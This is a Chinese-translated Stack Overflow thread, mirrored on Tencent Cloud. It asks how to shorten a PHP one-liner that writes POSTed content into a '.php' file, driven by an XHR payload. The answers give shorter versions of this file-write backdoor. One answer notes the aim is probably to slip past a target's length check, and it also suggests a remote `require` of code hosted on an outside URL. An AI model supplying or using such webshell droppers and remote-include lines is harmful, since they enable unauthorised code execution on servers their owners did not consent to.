首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >压缩小块PHP代码

压缩小块PHP代码
EN

Stack Overflow用户
提问于 2018-01-18 04:36:26
回答 2查看 71关注 0票数 1

我试图减少下面的PHP代码,它使用从XHR调用中接收到的数据创建一个PHP文件,并停止后续代码继续运行。

PHP:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(isset($_POST[0])){file_put_contents('.php',$_POST[0]);die;}

或(@,因为通知)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@$_=$_POST[0];if(isset($_)){file_put_contents('.php',$_);die;}

JavaScript:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var xhr = new XMLHttpRequest();
xhr.open('POST', location);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('0=' + encodeURIComponent(`<?php unlink(__file__);?>`));

我尝试过:将if检查更改为if($_POST[0])三元算子零聚结算子和/或try{}catch(Exception $e){}、删除if括号和/或大括号、搜索创建文件的替代方法、删除分号、尝试使用$_POST[]和/或$_POST['']等。

我已经将exit更改为die,文件名改为emtpy,删除空格和换行,使$_POST键成为一个数字,并使2替代设置一个小变量作为数据。

JavaScript部件不需要减少,如果它减少了PHP代码,它甚至可以更大。

注:

是的,我知道这是怎么回事。

不,我不打算使用其中的任何一个,它只是编码的编码,因为我编码我自己的测试项目,试图了解更多。

另外,如果这件事被当作不是这个网站的问题,那么我写这篇文章的时候,我猜.

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2018-01-18 09:55:29

使用fputs(fopen('.php','x'),$_POST[0]);而不是file_put_contents('.php',$_POST[0]);可以保存一个字符,但它不会覆盖。

如果文件已经存在,fopen()调用将失败,方法是返回FALSE并生成级别为E_WARNING的错误。

php.net - fopen -模式x的描述

因此,真正减少代码(2个字符)的唯一方法是以以下方式使用逻辑运算符 && (命名和但and):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
isset($_POST[0])&&file_put_contents('.php',$_POST[0])&&die;

如果&&的左侧为真,则为右侧。

因此,如果isset($_POST[0])为false,它将转到下一行代码,如果为真,则执行其余的代码。

如果它是带有isset($_POST[0])&&file_put_contents('.php',$_POST[0])||die;||,那么如果file_put_contents('.php',$_POST[0])是真的,它就不会运行file_put_contents('.php',$_POST[0]),因为它只需要这两种中的一种为真。

票数 0
EN

Stack Overflow用户

发布于 2018-01-18 06:21:03

想必您正试图绕过对目标的长度检查。缩小PHP没有任何性能/存储方面的好处。

要么你试图合法地测试防御措施,要么颠覆一个你不应该访问的系统。前者有点傻。后者显然是离题的话题。但是..。

从我的头顶上..。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$x=$POST[0];($x&&file_put_contents('.php',$x));exit;

OTOH如果您试图利用XSLT,那么这只处理一个指令,因此.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$_POST[0]&&file_put_content('.php',$_POST[0])||die()

但如果你的目标配置得那么糟糕.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
require('http://abc.de/abcdef')

(在URL来自缩短服务的情况下,当您尝试输入一个更真实的值时,就会变得比较混乱)

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/48321549

复制
相关文章
如何使用Nginx对Artifactory进行http应用
在我们日常使用高可用集群时,都会使用到负载均衡工具对多个节点的负载进行转发。这里就不得不提到我们常用的一个负载均衡工具Nginx,Nginx官方提供的免费版本功能相对简单,大部分情况下我们都是用其进行负载均衡,对于应用的状态主要是依赖于其他的监控工具。如果对于小型的团队来说,部署专门的监控工具还需要资源,使用Nginx对应用进行探活监控可以节约这部分成本。
JFrog杰蛙科技
2021/06/18
1.4K0
如何使用Nginx对Artifactory进行http应用
如何使用Hetty对HTTP进行安全研究审计
Hetty是一款针对安全研究设计的HTTP工具套件,该工具的目标是成为一些商业软件(比如说BurpSuite Pro)的开源替代产品。该工具的功能十分强大,并且针对信息安全以及漏洞Hunter社区的需求进行了定制开发。
FB客服
2021/01/08
1.7K0
如何使用Hetty对HTTP进行安全研究审计
运维工具真的很容易做吗
在从研发转到运维之前,我一直就觉得运维工具这东西,应该是相当简单的,但在我自己带领一个运维工具团队一年多后,完全颠覆了我自己以前对运维工具的认知,才真正明白了运维工具这东西要做好,对技术的要求其实是极高的。 之前之所以觉得运维工具简单,是因为从在线业务系统角度来看,运维工具访问量低,数据量也很小,完全看不到什么技术难点。 在带领一个运维工具团队一年多后,看到的是运维工具系统对技术的要求其实和在线业务系统只是角度不同而已,先看看运维工具系统主要承担的职责: 1. 运维操作的自动化; 2. 线上故障出现时救命
小小科
2018/05/02
6570
xshell使用,链接后,对项目文件进行操作
1.链接 2. 连接后 ,cd到对应目录下,对文件进行操作
2021/04/01
8050
xshell使用,链接后,对项目文件进行操作
如何对短链接服务暴露的URL进行网络侦察
Urlhunter是一款网络侦察和信息收集工具,该工具基于Go语言开发。在该工具的帮助下,广大研究人员可以轻松搜索通过短链接服务暴露的URL以及相关资源,比如说bit.ly和goo.gl等等。
FB客服
2021/03/09
1.2K0
如何对短链接服务暴露的URL进行网络侦察
.NET和JAVA的跨平台,我们很期望.但是容易吗
    Java最吸引人之处,在于跨平台。而.NET可以看作Java的改良版,囊括Java大部分的优点,所以当然也具有跨平台的潜力。但是认真追究起来,Java和.NET的程序其实也不算真正跨平台,因为Java VM(虚拟机器)和.NET VM本身就是一个平台,而Java程序只能在Java VM上执行,.NET程序只能在.NET VM上执行,至于VM的底下是什么操作系统,则无关紧要。 更清楚的说,Java和.NET的跨平台,指的是跨“操作系统”平台。所以,Java VM和.NET VM能移植到什么OS平台,
张善友
2018/01/31
6490
JavaScript 如何对 JSON 数据进行冒泡排序?
JavaScript 是一种广泛使用的脚本语言,提供了丰富的功能和工具,用于处理和操作数据。JSON(JavaScript Object Notation)是一种常见的数据格式,用于在不同应用程序之间传输和存储数据。在本文中,我们将探讨如何使用 JavaScript 对 JSON 数据进行冒泡排序,以实现按照指定字段排序的功能。
海拥
2023/06/23
2730
如何使用Java对图片和Base64编码进行互相转换?
图片如何转换为Base64?很多网上教程,使用StringUtil这类过时的Java包,或者使用Oracle的sun包(如:sun.misc.BASE64Decoder、sun.misc.BASE64Encoder。使用Oracle的sun包,因为许可证协议问题,在实际开发中,商用不提倡。所以这边我们不使用StringUtil或Oracle的sun包来对图片和Base64编码操作。
Mintimate
2021/03/12
4.2K0
如何使用Java对图片和Base64编码进行互相转换?
如何在Ubuntu 14.04上使用wrk对HTTP延迟进行基准测试
本文重点介绍称为开源HTTP基准测试工具WRK,它可以在高负荷下测量HTTP服务的延迟。
黑色技术
2018/09/25
2.4K0
特征锦囊:如何对类别变量进行独热编码?
很多时候我们需要对类别变量进行独热编码,然后才可以作为入参给模型使用,独热的方式有很多种,这里介绍一个常用的方法 get_dummies吧,这个方法可以让类别变量按照枚举值生成N个(N为枚举值数量)新字段,都是0-1的变量值。
Sam Gor
2020/01/13
1.2K0
特征锦囊:如何对类别变量进行独热编码?
使用TBtools对叶绿体蛋白编码基因进行GO注释
python extract_CDS_from_gb.py input.gb output.fasta
用户7010445
2020/03/03
5.3K0
golang中如何使用http长链接(client端)
RESTFUL请求大部分都可以用短连接,即三次握手建立链接,交换数据完成后,释放掉的链接,短链接不会长时间占用端口号,实际项目中还会用到另一种,长链接,比如客户端发送RESTFUL请求,需要监测某一资源变化情况,服务端提供watch机制,在资源有变化时通知client端。 那么client端,相对于短链接,长链接应该怎么写呢? 和短链接基本一样,只需要循环读取server端返回的response即可。 package main import ( "fmt" "io"
李海彬
2018/03/27
2K0
远程办公,其实很容易!
在互联网蓬勃发展的今天,远程办公是比不可少的一项技能,出差的时候,有个文件放在公司电脑了,PPT忘在家里电脑上了,怎么办?公司的网站只能内网访问,家里电脑做不了,还急急忙忙回公司?
简单并不简单
2019/07/05
1.6K0
【TEG TALK 5】唐国华|重复的事情一定很无聊吗
千淘万漉虽辛苦 吹尽狂沙始到金 他给我讲话的时候,我好难和平日一样嘻哈起来,不由自主的正襟危坐,他认真的表情、认真的态度、认真的语言,让我听到那~~么好笑的话,都没敢笑出声来,还艰难的咽下了一句“哥,你在搞笑么”。他说:他工作的全部内容分为三步:第一步:分词;第二步:词性标注;第三步:实体识别。 他还说:这三步工作很不简单、很有价值,能改变世界。哈哈,哈哈哈哈哈。 他耐心的举了一个又一个例子让我由浅入深的了解他的工作表象和本质。他的语言简单朴素,却给我眼里黑白片的基础NLP世界涂上了彩色,让我觉
TEG云端专业号
2018/03/15
1.1K0
【TEG TALK 5】唐国华|重复的事情一定很无聊吗
如何使用Python对嵌套结构的JSON进行遍历获取链接并下载文件
JSON(JavaScript Object Notation)是一种基于JavaScript语言的轻量级数据交换格式,它用键值对的方式来表示各种数据类型,包括字符串、数字、布尔值、空值、数组和对象。数组是有序的数据集合,用[]包围,元素用逗号分隔;对象是无序的数据集合,用{}包围,属性用逗号分隔,属性名和属性值用冒号分隔。
jackcode
2023/02/23
10.8K0
如何使用Python对嵌套结构的JSON进行遍历获取链接并下载文件
如何利用卷积自编码器对图片进行降噪?
作者:天雨粟 量子位 已获授权编辑发布 前言 这周工作太忙,本来想更把Attention tranlsation写出来,但一直抽不出时间,等后面有时间再来写,先给大家种个草。 我们这周来看一个简单的自
量子位
2018/03/28
1.3K0
如何利用卷积自编码器对图片进行降噪?
如何使用cdn对网站进行加速
今天抽空整理下网站,时间太久,历史文件太多,删除了一些无用的垃圾,更换了服务器,调整了cdn,鼓捣2天,更换好目前感觉良好。
霍常亮
2020/07/19
16.9K0
如何使用cdn对网站进行加速
识别图片文字需要怎么进行?很麻烦吗
我们在使用电脑或者手机的时候常常会遇到这样一个问题——别人发送图片版的文字信息,而无法针对上面的文字进行复制粘贴等操作,只能够通过手打将上面的文字复制下来。如果只是一小段的文字录入也并不算非常麻烦,毕竟用键盘打字可能几分钟就能够轻松解决,但是如果是大段的问题,而且有一些特殊的符号等等,想要手动录入是很麻烦的。那么如何识别图片文字呢?
用户8739990
2021/07/16
4.9K0
识别图片文字需要怎么进行?很麻烦吗
如何利用python对HTTP代理进行自动化维护?
以上代码使用了一个名为ProxyPool的类,包含了从HTTP代理网站爬取HTTP代理、验证HTTP代理可用性、获取有效HTTP代理等方法。具体而言,首先使用requests库和BeautifulSoup库从指定的HTTP代理网站获取HTTP代理信息,并将获取到的HTTP代理存储到self.proxies列表中。随后使用requests库验证每个HTTP代理的可用性,将验证成功的HTTP代理存储到另一个列表中,并用于后续的爬虫访问。代码还包含了一个while循环,可以定时运行HTTP代理池的维护任务,确保HTTP代理池中的IP始终保持可用状态。
阿秋数据采集
2023/03/03
5560
点击加载更多

相似问题

JavaScript变量很容易被恶意修改吗?

33

去壁球很容易吗?

33

禁用多个按钮很容易吗?

32

能很容易的去饱和吗?

22

ColdFusion到PHP:我能很容易地进行查询吗?

16
添加站长 进交流群

领取专属 10元无门槛券

AI混元助手 在线答疑

扫码加入开发者社群
关注 腾讯云开发者公众号

洞察 腾讯核心技术

剖析业界实践案例

扫码关注腾讯云开发者公众号
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文